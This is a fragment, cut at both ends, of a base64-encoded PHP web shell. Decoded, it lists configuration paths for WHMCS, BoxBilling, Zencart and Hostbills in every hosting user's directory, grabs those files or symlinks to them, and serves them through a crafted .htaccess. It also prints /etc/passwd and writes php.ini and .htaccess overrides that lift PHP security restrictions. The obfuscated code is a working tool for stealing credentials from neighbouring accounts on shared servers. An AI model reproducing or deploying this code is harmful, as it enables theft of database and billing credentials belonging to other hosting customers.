hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvd2htYy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL1dITS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL1dobS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3dobS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL0hPU1Qvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9Ib3N0L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvaG9zdC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL1NVUFBPUlRFUy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL1N1cHBvcnRlcy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3N1cHBvcnRlcy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2RvbWFpbnMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9kb21haW4vc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9Ib3N0aW5nL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvSE9TVElORy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2hvc3Rpbmcvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9DQVJUL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ2FydC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2NhcnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9PUkRFUi9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL09yZGVyL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvb3JkZXIvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9DTElFTlQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9DbGllbnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9jbGllbnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9DTElFTlRBUkVBL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ2xpZW50YXJlYS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2NsaWVudGFyZWEvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9TVVBQT1JUL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvU3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3N1cHBvcnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9CSUxMSU5HL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQmlsbGluZy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2JpbGxpbmcvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9CVVkvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9CdXkvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9idXkvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9NQU5BR0Uvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9NYW5hZ2Uvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9tYW5hZ2Uvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9DTElFTlRTVVBQT1JUL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ2xpZW50U3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL0NsaWVudHN1cHBvcnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9jbGllbnRzdXBwb3J0L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ0hFQ0tPVVQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9DaGVja291dC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2NoZWNrb3V0L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQklMTElOR1Mvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9CaWxsaW5ncy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvYmlsbGluZ3Mvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JBU0tFVC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvQmFza2V0L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iYXNrZXQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1NFQ1VSRS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvU2VjdXJlL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zZWN1cmUvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1NBTEVTL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9TYWxlcy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc2FsZXMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JJTEwvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JpbGwvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2JpbGwvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1BVUkNIQVNFL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9QdXJjaGFzZS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvcHVyY2hhc2Uvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0FDQ09VTlQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0FjY291bnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2FjY291bnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1VTRVIvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1VzZXIvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3VzZXIvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0NMSUVOVFMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0NsaWVudHMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudHMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JJTExJTkdTL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9CaWxsaW5ncy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvYmlsbGluZ3Mvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL01ZL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9NeS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvbXkvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3NlY3VyZS93aG0vc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3NlY3VyZS93aG1jcy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvcGFuZWwvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudGVzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9jbGllbnRlL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zdXBwb3J0L29yZGVyL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ib3hiaWxsaW5nL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2JveC9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ob3N0L2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0hvc3QvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc3VwcG9ydGVzL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3N1cHBvcnQvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvaG9zdGluZy9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9jYXJ0L2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL29yZGVyL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudC9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9jbGllbnRzL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudGUvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2xpZW50ZXMvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvYmlsbGluZy9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iaWxsaW5ncy9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9teS9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zZWN1cmUvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc3VwcG9ydC9vcmRlci9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAiID0+ICJaZW5jYXJ0IiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3plbmNhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwIiA9PiAiWmVuY2FydCIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9wcm9kdWN0cy9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAiID0+ICJaZW5jYXJ0IiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwIiA9PiAiWmVuY2FydCIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zaG9wL2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCIgPT4gIlplbmNhcnQiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvaG9zdGJpbGxzL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2hvc3QvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvSG9zdC9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zdXBwb3J0ZXMvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc3VwcG9ydC9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ob3N0aW5nL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NhcnQvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvb3JkZXIvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2xpZW50L2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudHMvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2xpZW50ZS9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9jbGllbnRlcy9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iaWxsaW5nL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2JpbGxpbmdzL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL215L2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3NlY3VyZS9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zdXBwb3J0L29yZGVyL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIg0KKTsgIA0KDQpmb3JlYWNoKCRncmFiX2NvbmZpZyBhcyAkY29uZmlnID0+ICRuYW1hX2NvbmZpZykgew0KCWlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ2dyYWInKSB7DQokYW1iaWxfY29uZmlnID0gZmlsZV9nZXRfY29udGVudHMoJGNvbmZpZyk7DQppZigkYW1iaWxfY29uZmlnID09ICcnKSB7DQp9IGVsc2Ugew0KJGZpbGVfY29uZmlnID0gZm9wZW4oImswdjNUX2NvbmZpZ2dyYWIvJHVzZXJfazB2M1QtJG5hbWFfY29uZmlnLnR4dCIsInciKTsNCmZwdXRzKCRmaWxlX2NvbmZpZywkYW1iaWxfY29uZmlnKTsNCn0NCn0NCmlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ3N5bWxpbmsnKSB7DQpAc3ltbGluaygkY29uZmlnLCJrMHYzVF9TeW1jb25maWcvIi4kdXNlcl9rMHYzVC4iLSIuJG5hbWFfY29uZmlnLiIudHh0Iik7DQp9DQppZigkX1BPU1RbJ2NvbmZpZyddID09ICc0MDQnKSB7DQokc3ltNDA0PXN5bWxpbmsoJGNvbmZpZywiazB2M1Rfc3ltNDA0LyIuJHVzZXJfazB2M1QuIi0iLiRuYW1hX2NvbmZpZy4iLnR4dCIpOw0KaWYoJHN5bTQwNCl7DQoJQG1rZGlyKCJrMHYzVF9zeW00MDQvIi4kdXNlcl9rMHYzVC4iLSIuJG5hbWFfY29uZmlnLiIudHh0NDA0IiwgMDc3Nyk7DQoJJGh0YWNjZXNzPSJPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MNCkRpcmVjdG9yeUluZGV4IGswdjNULmh0bQ0KSGVhZGVyTmFtZSBrMHYzVC50eHQNClNhdGlzZnkgQW55DQpJbmRleE9wdGlvbnMgSWdub3JlQ2FzZSBGYW5jeUluZGV4aW5nIEZvbGRlcnNGaXJzdCBOYW1lV2lkdGg9KiBEZXNjcmlwdGlvbldpZHRoPSogU3VwcHJlc3NIVE1MUHJlYW1ibGUNCkluZGV4SWdub3JlICoiOw0KDQpAZmlsZV9wdXRfY29udGVudHMoImswdjNUX3N5bTQwNC8iLiR1c2VyX2swdjNULiItIi4kbmFtYV9jb25maWcuIi50eHQ0MDQvLmh0YWNjZXNzIiwkaHRhY2Nlc3MpOw0KDQpAc3ltbGluaygkY29uZmlnLCJrMHYzVF9zeW00MDQvIi4kdXNlcl9rMHYzVC4iLSIuJG5hbWFfY29uZmlnLiIudHh0NDA0L2swdjNULnR4dCIpOw0KDQoJfQ0KDQp9DQoNCiAgICAgICAgICAgICAgICAgICAgfSAgICAgDQoJCX0gIGlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ2dyYWInKSB7DQogICAgICAgICAgICBlY2hvICI8Y2VudGVyPjxhIGhyZWY9Jz9wYXRoPSRwYXRoL2swdjNUX2NvbmZpZ2dyYWInPjxmb250IGNvbG9yPWxpbWU+RG9uZTwvZm9udD48L2E+PC9jZW50ZXI+IjsNCgkJfQ0KICAgIGlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJzQwNCcpIHsNCiAgICAgICAgZWNobyAiPGNlbnRlcj4NCjxhIGhyZWY9XCJrMHYzVF9zeW00MDQvcm9vdC9cIj5TeW1saW5rTnlhPC9hPg0KPGJyPjxhIGhyZWY9XCJrMHYzVF9zeW00MDQvXCI+Q29uZmlndXJhdGlvbnM8L2E+PC9jZW50ZXI+IjsNCiAgICB9DQogICAgIGlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ3N5bWxpbmsnKSB7DQplY2hvICI8Y2VudGVyPg0KPGEgaHJlZj1cImswdjNUX3N5bWNvbmZpZy9yb290L1wiPlN5bWxpbmtueWE8L2E+DQo8YnI+PGEgaHJlZj1cImswdjNUX3N5bWNvbmZpZy9cIj5Db25maWd1cmF0aW9uczwvYT48L2NlbnRlcj4iOw0KCQkJfWlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ3N5bXZob3N0Jykgew0KZWNobyAiPGNlbnRlcj4NCjxhIGhyZWY9XCJrMHYzVF9zeW12aG9zdC9yb290L1wiPlJvb3QgU2VydmVyPC9hPg0KPGJyPjxhIGhyZWY9XCJrMHYzVF9zeW12aG9zdC9cIj5Db25maWd1cmF0aW9uczwvYT48L2NlbnRlcj4iOw0KCQkJfQ0KCQkNCgkJDQoJCX1lbHNlew0KICAgICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJwb3N0XCIgYWN0aW9uPVwiXCI+PGNlbnRlcj4NCgkJPC9jZW50ZXI+PC9zZWxlY3Q+PGJyPjx0ZXh0YXJlYSBuYW1lPVwicGFzc3dkXCIgY2xhc3M9J2FyZWEnIHJvd3M9JzE1JyBjb2xzPSc2MCc+XG4iOw0KICAgICAgICBlY2hvIGluY2x1ZGUoIi9ldGMvcGFzc3dkIik7IA0KICAgICAgICBlY2hvICI8L3RleHRhcmVhPjxicj48YnI+DQogICAgICAgIDxzZWxlY3QgY2xhc3M9XCJzZWxlY3RcIiBuYW1lPVwiY29uZmlnXCIgIHN0eWxlPVwid2lkdGg6IDQ1MHB4O1wiIGhlaWdodD1cIjEwXCI+DQogICAgICAgIDxvcHRpb24gdmFsdWU9XCJncmFiXCI+Q29uZmlnIEdyYWI8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT1cInN5bWxpbmtcIj5TeW1saW5rIENvbmZpZzwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPVwiNDA0XCI+Q29uZmlnIDQwNDwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPVwic3ltdmhvc3RzXCI+Vmhvc3RzIENvbmZpZyBHcmFiYmVyPC9vcHRpb24+PGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiU3RhcnQhIVwiPjwvdGQ+PC90cj48L2NlbnRlcj5cbiI7DQp9DQoNCn0gZWxzZWlmKCRfR0VUWydhJ10gPT0gJ2Rpc2FibGVmdW5jJyl7DQoJCWVjaG8gIjxicj48YnI+PGNlbnRlcj4iOw0KCQllY2hvICI8Zm9ybSBtZXRob2Q9cG9zdD48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1pbmkgdmFsdWU9J3BocC5pbmknIC8+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9aHRjZSB2YWx1ZT0nLmh0YWNjZXNzJyAvPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWxpdGluaSB2YWx1ZT0nTGl0ZXNwZWVkJyAvPjwvZm9ybT4iOw0KCQlpZihpc3NldCgkX1BPU1RbJ2luaSddKSkNCnsNCgkJJGZpbGUgPSBmb3BlbigicGhwLmluaSIsInciKTsNCgkJZWNobyBmd3JpdGUoJG